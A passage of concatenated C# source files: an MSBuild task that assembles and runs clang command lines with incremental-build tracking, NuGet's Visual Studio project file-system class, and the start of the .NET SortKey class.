Subdirectories", Description = "Wildcard pattern for subdirectories to exclude from recursive search", IncludeInCommandLine = false)] public string[] ExcludedSearchPathSubdirectories { get { return ExcludedSearchPathSubdirectoriesValues; } set { ExcludedSearchPathSubdirectoriesValues = convertWildcardToRegEx(value); } } string[] ExcludedSearchPathSubdirectoriesValues; private static string[] convertWildcardToRegEx(string[] wildcardPaths) { List<string> patterns = new List<string>(); foreach (string wildcard in wildcardPaths) { string pattern = Regex.Escape(wildcard); pattern = pattern.Replace("/", "\\\\"); // Convert "*" to ".*", i.e. match any character except the path separator, zero or more times. pattern = pattern.Replace("\\*", "[^\\\\]*"); // Convert "?" to ".", i.e. match exactly one character except the path separator. pattern = pattern.Replace("\\?", "[^\\\\]"); patterns.Add(pattern + "$"); } return patterns.ToArray(); } private void dirSearch(string dirPath, ref List<string> outPaths) { int maxCount = outPaths.Count + 2048; outPaths.Add(dirPath); for (var i = outPaths.Count - 1; i < Math.Min(outPaths.Count, maxCount); i++) { try { foreach (string d in Directory.GetDirectories(outPaths[i])) { bool excluded = false; if (ExcludedSearchPathSubdirectories != null) { foreach (string pattern in ExcludedSearchPathSubdirectories) { if (Regex.IsMatch(d, pattern, RegexOptions.None)) { excluded = true; break; } } } if (!excluded) { outPaths.Add(d); } } } catch (System.Exception) { } } } private string[] expandPathGlobs(string[] inPaths) { List<string> outPaths = new List<string>(); foreach (string path in inPaths) { string winPath = path.Replace('/', '\\'); if (winPath.EndsWith("\\**")) dirSearch(winPath.Substring(0, path.Length - 3), ref outPaths); else outPaths.Add(winPath); } return outPaths.ToArray(); } [PropertyPage( Category = "Paths", DisplayName = "User Include Paths", Description = "User header search paths.", Switch = "-iquote ")] [ResolvePath()] public string[] UserIncludePaths { get { return UserIncludePathsValue; } set { UserIncludePathsValue = expandPathGlobs(value); } } string[] UserIncludePathsValue; [PropertyPage( Category = "Paths", DisplayName = "Include Paths", Description = "Header search paths.", Switch = "-I")] [ResolvePath()] public string[] IncludePaths { get { return IncludePathsValue; } set { IncludePathsValue = expandPathGlobs(value); } } string[] IncludePathsValue; [PropertyPage( Category = "Paths", Subtype = "file", DisplayName = "Object File Name", Description = "Specifies a name to override the default object file name.", Switch = "-o ", IncludeInCommandLine = false)] [ResolvePath()] public string ObjectFileName { get; set; } [PropertyPage( Category = "Preprocessor", DisplayName = "Preprocessor Definitions", Description = "Define preprocessor symbols for your source files.", Switch = "-D")] public string[] PreprocessorDefinitions { get; set; } [PropertyPage( Category = "Preprocessor", DisplayName = "Undefine Preprocessor Definitions", Description = "Specifies one or more preprocessor undefines.", Switch = "-U")] public string[] UndefinePreprocessorDefinitions { get; set; } // This option needs to go BEFORE the file being compiled public enum CompileAsEnum { [Field(DisplayName = "Default", Description = "Default", Switch = "")] Default, [Field(DisplayName = "Compile as C Code", Description = "Compile as C Code", Switch = "-x c")] CompileAsC, [Field(DisplayName = "Compile as C++ Code", Description = "Compile as C++ Code", Switch = "-x c++")] CompileAsCpp, [Field(DisplayName = "Compile as Objective C Code", Description = "Compile as Objective C Code", Switch = "-x objective-c")] CompileAsObjC, [Field(DisplayName = "Compile as Objective C++ Code", Description = "Compile as Objective C++ Code", Switch = "-x objective-c++")] CompileAsObjCpp } [PropertyPage( Category = "Language", DisplayName = "Compile As", Description = "Select compile language for [Objective] C/C++ files.")] [EnumeratedValue(Enumeration = typeof(CompileAsEnum))] public string CompileAs { get { return CompileAsValue.ToString(); } set { CompileAsValue = (CompileAsEnum)Enum.Parse(typeof(CompileAsEnum), value, true); } } CompileAsEnum CompileAsValue; [PropertyPage( Category = "Language", DisplayName = "LLVM Directory", Description = "Use LLVM from this directory for compilation", IncludeInCommandLine = false)] public string LLVMDirectory { get; set; } [PropertyPage( Category = "General", Subtype = "file", DisplayName = "Prefix Header", Description = "Specifies prefix header file to be included when compiling all source files.", Switch = "-include ")] [ResolvePath()] public string[] PrefixHeader { get; set; } [PropertyPage( Category = "General", DisplayName = "Maximum Clang Processes", Description = "Specifies the maximum number of clang processes to run in parallel. The argument can be -1 or any positive integer. A positive property value limits the number of concurrent operations to the set value. If it is -1, there is no limit on the number of concurrently running operations.", IncludeInCommandLine = false)] public int MaxClangProcesses { get; set; } [PropertyPage( Category = "Language", DisplayName = "Other C Flags", Description = "Other C Flags", IncludeInCommandLine = false)] public string OtherCFlags { get; set; } [PropertyPage( Category = "Language", DisplayName = "Other C++ Flags", Description = "Other C++ Flags", IncludeInCommandLine = false)] public string OtherCPlusPlusFlags { get; set; } [PropertyPage( Category = "Language", DisplayName = "Language-specific flags", Description = "Language-specific flags", Visible = false)] public string OtherFlags { get; set; } [PropertyPage( Category = "Language", DisplayName = "Use WinObjC standard library", Description = "Uses the WinObjC standard C/C++ library definitions when compiling. This can create some compatibility issues with COM interfaces and Windows-specific source code.")] public Boolean WOCStdLib { get; set; } [PropertyPage( DisplayName = "Command Line", Visible = false, IncludeInCommandLine = false)] public string CommandLineTemplate { get; set; } public string AutocompleteCommandLineTemplate { get; set; } [Output] [PropertyPage( DisplayName = "Outputs", Visible = false, IncludeInCommandLine = false)] public ITaskItem[] Outputs { get; set; } [PropertyPage( Subtype = "AdditionalOptions", Category = "Command Line", DisplayName = "Additional Options", Description = "Additional Options", IncludeInCommandLine=false)] public string AdditionalOptions { get; set; } [PropertyPage( Category = "Preprocessor", DisplayName = "Dependency File", Description = "Specifies a name to override the default dependency file name.", Switch = "-MF ", IncludeInCommandLine = false)] [ResolvePath()] public string DependencyFile { get; set; } [PropertyPage( Category = "Preprocessor", DisplayName = "Use System Headers For Dependencies", Description = "Don't ignore system headers when calculating dependencies.", Switch = "-MD", ReverseSwitch = "-MMD")] public bool SystemHeaderDeps { get; set; } #endregion #region ToolTask Overrides // ToLower() is affected by localization. // Be VERY careful when adding static strings to the dictionary, since lookup is also done with ToLower. static Dictionary<string, PropertyInfo> AllProps = typeof(Clang).GetProperties(BindingFlags.DeclaredOnly | BindingFlags.Public | BindingFlags.Instance).ToDictionary(x => x.Name.ToLower()); protected override string GenerateFullPathToTool() { return GetClangExe(); } protected override string ToolName { get { return "clang.exe"; } } private string ReplaceOptions(string commandLine, ITaskItem input) { Match subst = Regex.Match(commandLine, @"\[\w+\]", RegexOptions.IgnoreCase); while (subst.Success) { string autoSubst = subst.Value.Substring(1, subst.Value.Length - 2); string substStr = ""; LogMessage(MessageImportance.Low, "Replace value: {0}", autoSubst); PropertyInfo pInfo; if (AllProps.TryGetValue(autoSubst.ToLower(), out pInfo)) { ResolvePathAttribute pathAttr = (ResolvePathAttribute)Attribute.GetCustomAttribute(pInfo, typeof(ResolvePathAttribute)); PropertyPageAttribute ppAttr = (PropertyPageAttribute)Attribute.GetCustomAttribute(pInfo, typeof(PropertyPageAttribute)); string propSwitch = ppAttr.Switch; object value = pInfo.GetValue(this); string propVal = GetSpecial(autoSubst, value, input); if (propVal != null && propVal != "") { if (propSwitch != null && propSwitch != "") { substStr += propSwitch; } if (pathAttr != null) { try { substStr += GetFullPath(propVal); } catch (Exception) { LogWarning(string.Format("Unable to resolve path {0} for property: {1}", value.ToString(), pInfo.Name)); } } else { substStr += propVal; } } } else { Log.LogError("Only [Input] [AllOptions] [AdditionalOptions] and task properties are acceptped substitutions for command line arguments; Unknown expansion: " + autoSubst); return null; } commandLine = commandLine.Replace(subst.Value, substStr); subst = subst.NextMatch(); } LogMessage(MessageImportance.Low, "Commandline: {0}", commandLine); // NOTE: See GetFullPath about escaping quotes. return commandLine; } protected override string GenerateCommandLineCommands() { return GenerateCommandLineCommands(CommandLineTemplate); } protected string GenerateCommandLineCommands(string template) { string commandToRun = template; Match subst = Regex.Match(commandToRun, @"\[alloptions\]", RegexOptions.IgnoreCase); if (subst.Success) { string autoSubst = subst.Value.Substring(1, subst.Value.Length - 2); string substStr = ""; LogMessage(MessageImportance.Low, "Replacing all options"); foreach (PropertyInfo pInfo in AllProps.Values) { PropertyPageAttribute ppAttr = (PropertyPageAttribute)Attribute.GetCustomAttribute(pInfo, typeof(PropertyPageAttribute)); EnumeratedValueAttribute enumAttr = (EnumeratedValueAttribute)Attribute.GetCustomAttribute(pInfo, typeof(EnumeratedValueAttribute)); ResolvePathAttribute pathAttr = (ResolvePathAttribute)Attribute.GetCustomAttribute(pInfo, typeof(ResolvePathAttribute)); if (ppAttr == null) { LogMessage(MessageImportance.Low, "Skipping {0}", pInfo.Name); continue; } if (!ppAttr.IncludeInCommandLine) { LogMessage(MessageImportance.Low, "Excluding {0}", pInfo.Name); continue; } if (enumAttr != null) { FieldInfo fInfo = enumAttr.Enumeration.GetField((string)pInfo.GetValue(this)); FieldAttribute fAttr = (FieldAttribute)Attribute.GetCustomAttribute(fInfo, typeof(FieldAttribute)); if (fAttr.Switch == null || fAttr.Switch == "") { continue; } LogMessage(MessageImportance.Low, "Field({0}) switch: {1}", fInfo.Name, fAttr.Switch); substStr += fAttr.Switch + " "; } else { if (pInfo.PropertyType.IsAssignableFrom(typeof(string[]))) { string concatStr = ppAttr.Switch; string[] propVal = (string[])pInfo.GetValue(this); LogMessage(MessageImportance.Low, "String array({0}) switch: {1}", pInfo.Name, concatStr); if (propVal != null) { foreach (var item in propVal) { if (pathAttr != null) // Just awful. { try { substStr += concatStr + GetFullPath((string)item) + " "; } catch (Exception) { LogWarning(string.Format("Unable to resolve path {0} for property: {1}", item, pInfo.Name)); } } else { substStr += concatStr + item + " "; } // substStr += string.Join(" ", Array.ConvertAll<string, string>(propVal, new Converter<string, string>(delegate(string x) { return concatStr + " " + x; }))) + " "; } } } else if (pInfo.PropertyType.IsAssignableFrom(typeof(bool))) { object propVal = pInfo.GetValue(this); string cmdStr = propVal.ToString(); string cmdSwitch = (bool)propVal ? ppAttr.Switch : ppAttr.ReverseSwitch; if (cmdSwitch != null && cmdSwitch != "") { LogMessage(MessageImportance.Low, "Bool({0}) switch: {1}", pInfo.Name, cmdSwitch); substStr += cmdSwitch + " "; } else if ((bool)propVal) { LogWarning("Boolean is visible, but has no switch: {0}", pInfo.Name); } } else if (pInfo.PropertyType.IsAssignableFrom(typeof(string))) { object propVal = pInfo.GetValue(this); if (propVal != null && (string)propVal != "") { LogMessage(MessageImportance.Low, "String({0}) prop: {1}", pInfo.Name, (string)propVal); if (ppAttr.Switch != null && ppAttr.Switch != "") { substStr += ppAttr.Switch; } if (pathAttr != null) // Just awful. { try { substStr += GetFullPath((string)propVal) + " "; } catch (Exception) { LogWarning(string.Format("Unable to resolve path {0} for property: {1}", propVal, pInfo.Name)); } } else { substStr += (string)propVal + " "; } } } } } commandToRun = commandToRun.Replace(subst.Value, substStr); } LogMessage(MessageImportance.Low, "Commandline: {0}", commandToRun); // NOTE: See GetFullPath about escaping quotes. return commandToRun; } protected override bool SkipTaskExecution() { if (Autocomplete) { return false; } // We need to wait until all the mod dates have been set before moving on, or we may get a race condition. object modDateSync = new object(); int nModDate = 0; bool skip = true; // Instantiate the writer. TLogWriter writer = TLogs; if (!Tracker.cachedTlogMaps.ContainsKey(Path.GetFullPath(ReadTLogFile))) { var deps = ReadTLog(Path.GetFullPath(ReadTLogFile)); var outs = ReadTLog(Path.GetFullPath(ReadTLogFile.Replace("read", "write"))); foreach (var dep in deps) { Tracker.SetDependencies(dep.Key, dep.Value); } foreach (var output in outs) { Tracker.SetDependencies(output.Value[0], new List<string>() { output.Key }); // Only one output per file } } Outputs = Array.ConvertAll<ITaskItem, ITaskItem>(Input, new Converter<ITaskItem, ITaskItem>(f => { TaskItem i = new TaskItem(f); i.ItemSpec = GetSpecial("objectfilename", ObjectFileName, i); i.SetMetadata("ObjectFileName", i.ItemSpec); return i; })); foreach (ITaskItem item in Input) { string inputFileName = Path.GetFullPath(item.ItemSpec); string objFileName = Path.GetFullPath(GetSpecial("objectfilename", ObjectFileName, item)); string depFileName = Path.GetFullPath(GetSpecial("dependencyfile", DependencyFile, item)); WaitCallback waitCallback = new WaitCallback(f => { try { File.SetLastWriteTime(objFileName, DateTime.Now); if (File.Exists(depFileName)) { File.SetLastWriteTime(depFileName, DateTime.Now); } } catch (Exception e) { LogWarning("Caught exception trying to set last modification: {0}", e.ToString()); } lock (modDateSync) { if (--nModDate == 0) { Monitor.Pulse(modDateSync); } } }); if (tracker.OutOfDate(objFileName)) { skip = false; continue; } if (!File.Exists(objFileName)) { tracker.SetUpToDate(objFileName, false); skip = false; continue; } if (File.GetLastWriteTime(ProjectFile) < File.GetLastWriteTime(objFileName)) { // Touch the file so MSBuild is happy. lock (modDateSync) { nModDate++; } ThreadPool.QueueUserWorkItem(waitCallback); continue; } else { Dictionary<string, List<string>> cmdMap = ReadTLog(Path.GetFullPath(CommandTLogFile)); List<string> cmdLine; // If the commandlines are different, rebuild. if (cmdMap.TryGetValue(inputFileName, out cmdLine)) { if (cmdLine.First().Substring(1) == ReplaceOptions(GenerateCommandLineCommands(), item)) { // Touch the file so MSBuild is happy. lock (modDateSync) { nModDate++; } ThreadPool.QueueUserWorkItem(waitCallback); continue; } else { tracker.SetUpToDate(objFileName, false); } } } skip = false; } lock (modDateSync) { if (nModDate > 0) { Monitor.Wait(modDateSync); } } return skip; } protected override int ExecuteTool(string pathToTool, string responseFileCommands, string commandLineCommands) { int retCode = 0; if (Autocomplete) { Outputs = Array.ConvertAll<ITaskItem, ITaskItem>(Input, new Converter<ITaskItem, ITaskItem>(f => { TaskItem i = new TaskItem(f); i.SetMetadata("ObjectFileName", GetSpecial("objectfilename", ObjectFileName, i)); i.SetMetadata("AutocompleteCommand", ReplaceOptions(GenerateCommandLineCommands(AutocompleteCommandLineTemplate), f)); return i; })); return 0; } else { Outputs = Array.ConvertAll<ITaskItem, ITaskItem>(Input, new Converter<ITaskItem, ITaskItem>(f => { TaskItem i = new TaskItem(f); i.ItemSpec = GetSpecial("objectfilename", ObjectFileName, i); i.SetMetadata("ObjectFileName", i.ItemSpec); return i; })); } List<ClangItem> clangItems = new List<ClangItem>(Input.Length); for (int i = 0; i < Input.Length; i++) { ITaskItem item = Input[i]; string objFileName = Path.GetFullPath(GetSpecial("objectfilename", ObjectFileName, item)); string depFileName = Path.GetFullPath(GetSpecial("dependencyfile", DependencyFile, item)); if (File.Exists(objFileName) && !tracker.OutOfDate(objFileName)) { continue; } string commandLine = ReplaceOptions(commandLineCommands, item); clangItems.Add(new ClangItem(this, item, objFileName, depFileName, commandLine)); } if ((MaxClangProcesses > 1) || (MaxClangProcesses == -1)) { Parallel.ForEach(clangItems, new ParallelOptions { MaxDegreeOfParallelism = MaxClangProcesses }, (clangItem) => { clangItem.RunClang(pathToTool); lock (this) { clangItem.LogOutput(); } }); } else { for(int i=0;i<clangItems.Count; i++) { clangItems[i].RunClang(pathToTool); clangItems[i].LogOutput(); if (clangItems[i].ExitCode != 0) { //Note: this break is for backward compatibility. We would previously return on the first file that failed to compile correctly. break; } } } for (int i = 0; i < clangItems.Count; i++) { ClangItem clangItem = clangItems[i]; retCode |= clangItem.ExitCode; string inputFullPath = Path.GetFullPath(clangItem.Item.ItemSpec); ReadTLog(Path.GetFullPath(CommandTLogFile))[inputFullPath] = new List<string>() { clangItem.CommandLine }; if (clangItem.ExitCode == 0) { if (File.Exists(clangItem.DepFileName)) { List<string> deps = ReadDependencyFile(clangItem.DepFileName); if (deps != null) { // Should we do anything special if we fail to parse the dependency file? // As it stands now, if we fail the object file will not be up to date, and it will continute to be built. Tracker.SetDependencies(inputFullPath, deps); Tracker.SetUpToDate(clangItem.ObjFileName); } Tracker.SetDependencies(clangItem.ObjFileName, new List<string>() { inputFullPath }); } } else { tracker.SetUpToDate(inputFullPath, false); // Probably an invalid object file, if it exists. if ((MaxClangProcesses > 1) || (MaxClangProcesses == -1)) { //Note: this return is for backward compatibility. We would previously return on the first file that failed to compile correctly. return retCode; } } } return retCode; } #endregion List<string> ReadDependencyFile(string file) { StreamReader sr = null; if (!File.Exists(file)) { return null; } List<string> deps = new List<string>(); try { sr = new StreamReader(File.Open(file, FileMode.Open)); Regex matchDep = new Regex(@"((\\\s|\S)+)"); string curLine = null; string sourceFile = null; string outputFile = null; // First line has the object file, everything before the ':' // The first dependency is the source file // The rest is a list of header files we depend on. The line ends with " \\\cl\rf" while ((curLine = sr.ReadLine()) != null) { if(curLine.Contains(@": ")) { outputFile = curLine.Substring(0, curLine.IndexOf(@": ")); curLine = curLine.Substring(curLine.IndexOf(@": ") + 1); } // Cull the trailed slash if (curLine[curLine.Length - 1] == '\\') { curLine = curLine.Substring(0, curLine.Length - 2); } Match depMatch = matchDep.Match(curLine); while (depMatch.Success) { // Replace escaped spaces string value = depMatch.Groups[0].Value.Replace("\\ ", " ").Replace("/", "\\"); if (sourceFile == null) { sourceFile = value; ReadTLog(Path.GetFullPath(ReadTLogFile))[sourceFile] = deps; if (outputFile == null) { LogWarning("Output file not found in dependency file ({0})", file); } else { ReadTLog(Path.GetFullPath(ReadTLogFile.Replace("read", "write")))[sourceFile] = new List<string>() { outputFile, file }; } } else { deps.Add(value); } depMatch = depMatch.NextMatch(); } } } catch (Exception e) { LogWarning("Caught exception reading dependency file: " + e.ToString()); } if (sr != null) { sr.Close(); } return deps; } Dictionary<string, List<string>> ReadTLog(string file) { if (Tracker.cachedTlogMaps.ContainsKey(file)) { return Tracker.cachedTlogMaps[file]; } Dictionary<string, List<string>> retMap = new Dictionary<string, List<string>>(StringComparer.OrdinalIgnoreCase); StreamReader sr = null; if (!File.Exists(file)) { Tracker.cachedTlogMaps[file] = retMap; return retMap; } try { sr = new StreamReader(File.Open(file, FileMode.Open)); string curLine = null; string keyVal = null; while ((curLine = sr.ReadLine()) != null) { if (curLine[0] == '^') { keyVal = curLine.Substring(1); retMap.Add(keyVal, new List<string>()); } else { if (keyVal == null) { // We got ourselves a malformed tlog. Throw it out. LogWarning("TLog file is malformed."); retMap = new Dictionary<string, List<string>>(StringComparer.OrdinalIgnoreCase); break; } retMap[keyVal].Add(curLine); } } } catch (Exception e) { LogWarning("Caught exception reading TLog: {0}", e.ToString()); } if (sr != null) { sr.Close(); } Tracker.cachedTlogMaps[file] = retMap; return retMap; } } }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Versioning; using EnvDTE; using Microsoft.VisualStudio.Shell; using NuGet.VisualStudio.Resources; using MsBuildProject = Microsoft.Build.Evaluation.Project; using MsBuildProjectItem = Microsoft.Build.Evaluation.ProjectItem; using Project = EnvDTE.Project; namespace NuGet.VisualStudio { public class VsProjectSystem : PhysicalFileSystem, IVsProjectSystem, IComparer<IPackageFile> { private const string BinDir = "bin"; private FrameworkName _targetFramework; private readonly IFileSystem _baseFileSystem; public VsProjectSystem(Project project, IFileSystemProvider fileSystemProvider) : base(project.GetFullPath()) { Project = project; _baseFileSystem = fileSystemProvider.GetFileSystem(project.GetFullPath()); Debug.Assert(_baseFileSystem != null); } protected Project Project { get; private set; } protected IFileSystem BaseFileSystem { get { return _baseFileSystem; } } public virtual string ProjectName { get { return Project.Name; } } public string UniqueName { get { return Project.GetUniqueName(); } } public FrameworkName TargetFramework { get { if (_targetFramework == null) { _targetFramework = Project.GetTargetFrameworkName() ?? VersionUtility.DefaultTargetFramework; } return _targetFramework; } } public virtual bool IsBindingRedirectSupported { get { // Silverlight projects and Windows Phone projects do not support binding redirect. // They both share the same identifier as "Silverlight" return !"Silverlight".Equals(TargetFramework.Identifier, StringComparison.OrdinalIgnoreCase); } } public override void AddFile(string path, Stream stream) { AddFileCore(path, () => base.AddFile(path, stream)); } public override void AddFile(string path, Action<Stream> writeToStream) { AddFileCore(path, () => base.AddFile(path, writeToStream)); } private void AddFileCore(string path, Action addFile) { bool fileExistsInProject = FileExistsInProject(path); // If the file exists on disk but not in the project then skip it. // One exception is the 'packages.config' file, in which case we want to include // it into the project. if (base.FileExists(path) && !fileExistsInProject && !path.Equals(Constants.PackageReferenceFile)) { Logger.Log(MessageLevel.Warning, VsResources.Warning_FileAlreadyExists, path); } else { EnsureCheckedOutIfExists(path); addFile(); if (!fileExistsInProject) { AddFileToProject(path); } } } public override Stream CreateFile(string path) { EnsureCheckedOutIfExists(path); return base.CreateFile(path); } public override void DeleteDirectory(string path, bool recursive = false) { // Only delete this folder if it is empty and we didn't specify that we want to recurse if (!recursive && (base.GetFiles(path, "*.*", recursive).Any() || base.GetDirectories(path).Any())) { Logger.Log(MessageLevel.Warning, VsResources.Warning_DirectoryNotEmpty, path); return; } // Workaround for TFS update issue. If we're bound to TFS, do not try and delete directories. if (!(_baseFileSystem is ISourceControlFileSystem) && Project.DeleteProjectItem(path)) { Logger.Log(MessageLevel.Debug, VsResources.Debug_RemovedFolder, path); } } public override void DeleteFile(string path) { if (Project.DeleteProjectItem(path)) { string folderPath = Path.GetDirectoryName(path); if (!String.IsNullOrEmpty(folderPath)) { Logger.Log(MessageLevel.Debug, VsResources.Debug_RemovedFileFromFolder, Path.GetFileName(path), folderPath); } else { Logger.Log(MessageLevel.Debug, VsResources.Debug_RemovedFile, Path.GetFileName(path)); } } } public void AddFrameworkReference(string name) { try { // Add a reference to the project AddGacReference(name); Logger.Log(MessageLevel.Debug, VsResources.Debug_AddReference, name, ProjectName); } catch (Exception e) { throw new InvalidOperationException(String.Format(CultureInfo.CurrentCulture, VsResources.FailedToAddGacReference, name), e); } } protected virtual void AddGacReference(string name) { Project.GetReferences().Add(name); } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "We want to catch all exceptions")] public virtual void AddReference(string referencePath, Stream stream) { string name = Path.GetFileNameWithoutExtension(referencePath); try { // Get the full path to the reference string fullPath = PathUtility.GetAbsolutePath(Root, referencePath); string assemblyPath = fullPath; bool usedTempFile = false; // There is a bug in Visual Studio whereby if the fullPath contains a comma, // then calling Project.Object.References.Add() on it will throw a COM exception. // To work around it, we copy the assembly into temp folder and add reference to the copied assembly if (fullPath.Contains(",")) { string tempFile = Path.Combine(Path.GetTempPath(), Path.GetFileName(fullPath)); File.Copy(fullPath, tempFile, true); assemblyPath = tempFile; usedTempFile = true; } // Add a reference to the project dynamic reference = Project.GetReferences().Add(assemblyPath); // if we copied the assembly to temp folder earlier, delete it now since we no longer need it. if (usedTempFile) { try { File.Delete(assemblyPath); } catch { // don't care if we fail to delete a temp file } } if (reference != null) { TrySetCopyLocal(reference); // This happens if the assembly appears in any of the search paths that VS uses to locate assembly references. // Most commonly, it happens if this assembly is in the GAC or in the output path. if (reference.Path != null && !reference.Path.Equals(fullPath, StringComparison.OrdinalIgnoreCase)) { // Get the msbuild project for this project MsBuildProject buildProject = Project.AsMSBuildProject(); if (buildProject != null) { // Get the assembly name of the reference we are trying to add AssemblyName assemblyName = AssemblyName.GetAssemblyName(fullPath); // Try to find the item for the assembly name MsBuildProjectItem item = (from assemblyReferenceNode in buildProject.GetAssemblyReferences() where AssemblyNamesMatch(assemblyName, assemblyReferenceNode.Item2) select assemblyReferenceNode.Item1).FirstOrDefault(); if (item != null) { // Add the <HintPath> metadata item as a relative path item.SetMetadataValue("HintPath", referencePath); // Save the project after we've modified it. Project.Save(); } } } } Logger.Log(MessageLevel.Debug, VsResources.Debug_AddReference, name, ProjectName); } catch (Exception e) { throw new InvalidOperationException(String.Format(CultureInfo.CurrentCulture, VsResources.FailedToAddReference, name), e); } } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "We want to catch all exceptions")] public virtual void RemoveReference(string name) { try { // Get the reference name without extension string referenceName = Path.GetFileNameWithoutExtension(name); // Remove the reference from the project // NOTE:- Project.Object.References.Item requires Reference.Identity // which is, the Assembly name without path or extension // But, we pass in the assembly file name. And, this works for // almost all the assemblies since Assembly Name is the same as the assembly file name // In case of F#, the input parameter is case-sensitive as well // Hence, an override to THIS function is added to take care of that var reference = Project.GetReferences().Item(referenceName); if (reference != null) { reference.Remove(); Logger.Log(MessageLevel.Debug, VsResources.Debug_RemoveReference, name, ProjectName); } } catch (Exception e) { Logger.Log(MessageLevel.Warning, e.Message); } } public virtual bool FileExistsInProject(string path) { return Project.ContainsFile(path); } protected virtual bool ExcludeFile(string path) { // Exclude files from the bin directory. return Path.GetDirectoryName(path).Equals(BinDir, StringComparison.OrdinalIgnoreCase); } protected virtual void AddFileToProject(string path) { if (ExcludeFile(path)) { return; } // Get the project items for the folder path string folderPath = Path.GetDirectoryName(path); string fullPath = GetFullPath(path); ThreadHelper.Generic.Invoke(() => { ProjectItems container = Project.GetProjectItems(folderPath, createIfNotExists: true); // Add the file to project or folder AddFileToContainer(fullPath, folderPath, container); }); Logger.Log(MessageLevel.Debug, VsResources.Debug_AddedFileToProject, path, ProjectName); } protected virtual void AddFileToContainer(string fullPath, string folderPath, ProjectItems container) { container.AddFromFileCopy(fullPath); } public virtual string ResolvePath(string path) { return path; } public override IEnumerable<string> GetFiles(string path, string filter, bool recursive) { if (recursive) { throw new NotSupportedException(); } else { // Get all physical files return from p in Project.GetChildItems(path, filter, VsConstants.VsProjectItemKindPhysicalFile) select p.Name; } } public override IEnumerable<string> GetDirectories(string path) { // Get all physical folders return from p in Project.GetChildItems(path, "*.*", VsConstants.VsProjectItemKindPhysicalFolder) select p.Name; } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "We never want to fail when checking for existance")] public virtual bool ReferenceExists(string name) { try { string referenceName = name; if (Constants.AssemblyReferencesExtensions.Contains(Path.GetExtension(name), StringComparer.OrdinalIgnoreCase)) { // Get the reference name without extension referenceName = Path.GetFileNameWithoutExtension(name); } return Project.GetReferences().Item(referenceName) != null; } catch { } return false; } public virtual dynamic GetPropertyValue(string propertyName) { try { Property property = Project.Properties.Item(propertyName); if (property != null) { return property.Value; } } catch (ArgumentException) { // If the property doesn't exist this will throw an argument exception } return null; } public virtual void AddImport(string targetPath, ProjectImportLocation location) { if (String.IsNullOrEmpty(targetPath)) { throw new ArgumentNullException(CommonResources.Argument_Cannot_Be_Null_Or_Empty, "targetPath"); } string relativeTargetPath = PathUtility.GetRelativePath(PathUtility.EnsureTrailingSlash(Root), targetPath); Project.AddImportStatement(relativeTargetPath, location); Project.Save(); } public virtual void RemoveImport(string targetPath) { if (String.IsNullOrEmpty(targetPath)) { throw new ArgumentNullException(CommonResources.Argument_Cannot_Be_Null_Or_Empty, "targetPath"); } string relativeTargetPath = PathUtility.GetRelativePath(PathUtility.EnsureTrailingSlash(Root), targetPath); Project.RemoveImportStatement(relativeTargetPath); Project.Save(); } public virtual bool IsSupportedFile(string path) { string fileName = Path.GetFileName(path); // exclude all file names with the pattern as "web.*.config", // e.g. web.config, web.release.config, web.debug.config return !(fileName.StartsWith("web.", StringComparison.OrdinalIgnoreCase) && fileName.EndsWith(".config", StringComparison.OrdinalIgnoreCase)); } private void EnsureCheckedOutIfExists(string path) { Project.EnsureCheckedOutIfExists(this, path); } private static bool AssemblyNamesMatch(AssemblyName name1, AssemblyName name2) { return name1.Name.Equals(name2.Name, StringComparison.OrdinalIgnoreCase) && EqualsIfNotNull(name1.Version, name2.Version) && EqualsIfNotNull(name1.CultureInfo, name2.CultureInfo) && EqualsIfNotNull(name1.GetPublicKeyToken(), name2.GetPublicKeyToken(), Enumerable.SequenceEqual); } private static bool EqualsIfNotNull<T>(T obj1, T obj2) { return EqualsIfNotNull(obj1, obj2, (a, b) => a.Equals(b)); } private static bool EqualsIfNotNull<T>(T obj1, T obj2, Func<T, T, bool> equals) { // If both objects are non null do the equals if (obj1 != null && obj2 != null) { return equals(obj1, obj2); } // Otherwise consider them equal if either of the values are null return true; } public int Compare(IPackageFile x, IPackageFile y) { // BUG 636: We sort files so that they are added in the correct order // e.g aspx before aspx.cs if (x.Path.Equals(y.Path, StringComparison.OrdinalIgnoreCase)) { return 0; } // Add files that are prefixes of other files first if (x.Path.StartsWith(y.Path, StringComparison.OrdinalIgnoreCase)) { return -1; } if (y.Path.StartsWith(x.Path, StringComparison.OrdinalIgnoreCase)) { return 1; } return y.Path.CompareTo(x.Path); } private static void TrySetCopyLocal(dynamic reference) { // Always set copy local to true for references that we add try { reference.CopyLocal = true; } catch (NotSupportedException) { } catch (NotImplementedException) { } } } }
// ==++== // // Copyright (c) Microsoft Corporation. All rights reserved. // // ==--== //////////////////////////////////////////////////////////////////////////// // // Class: SortKey // // Purpose: This class implements a set of methods for retrieving // sort key information. // // Date: August 12, 1998 // //////////////////////////////////////////////////////////////////////////// namespace System.Globalization { using System; using System.Runtime.CompilerServices; using System.Runtime.Serialization; using System.Diagnostics.Contracts; [System.Runtime.InteropServices.ComVisible(true)] [Serializable] public class SortKey { //--------------------------------------------------------------------// // Internal Information // //--------------------------------------------------------------------// // // Variables. // // [OptionalField(VersionAdded = 3)] internal String localeName; // locale identifier [OptionalField(VersionAdded = 1)] // LCID field so serialization is Whidbey compatible though we don't officially support it internal int win32LCID; // // Whidbey serialization internal CompareOptions options; // options internal String m_String; // original string internal byte[] m_KeyData; // sortkey data #if !FEATURE_PAL // // The following constructor is designed to be called from CompareInfo to get the // the sort key of specific string for synthetic culture // internal SortKey(String localeName, String str, CompareOptions options, byte[] keyData) { this.m_KeyData = keyData; this.localeName = localeName; this.options = options; this.m_String = str; } #endif // !FEATURE_PAL #if FEATURE_USE_LCID // // [OnSerializing] private void OnSerializing(StreamingContext context) { //set LCID to proper value for Whidbey serialization (no other use) if (win32LCID == 0) { win32LCID = CultureInfo.GetCultureInfo(localeName).LCID; } } // // [OnDeserialized] private void OnDeserialized(StreamingContext context) { //set locale name to proper value after Whidbey deserialization if (String.IsNullOrEmpty(localeName) && win32LCID != 0) { localeName = CultureInfo.GetCultureInfo(win32LCID).Name; } } #endif //FEATURE_USE_LCID //////////////////////////////////////////////////////////////////////// // // GetOriginalString // // Returns the original string used to create the 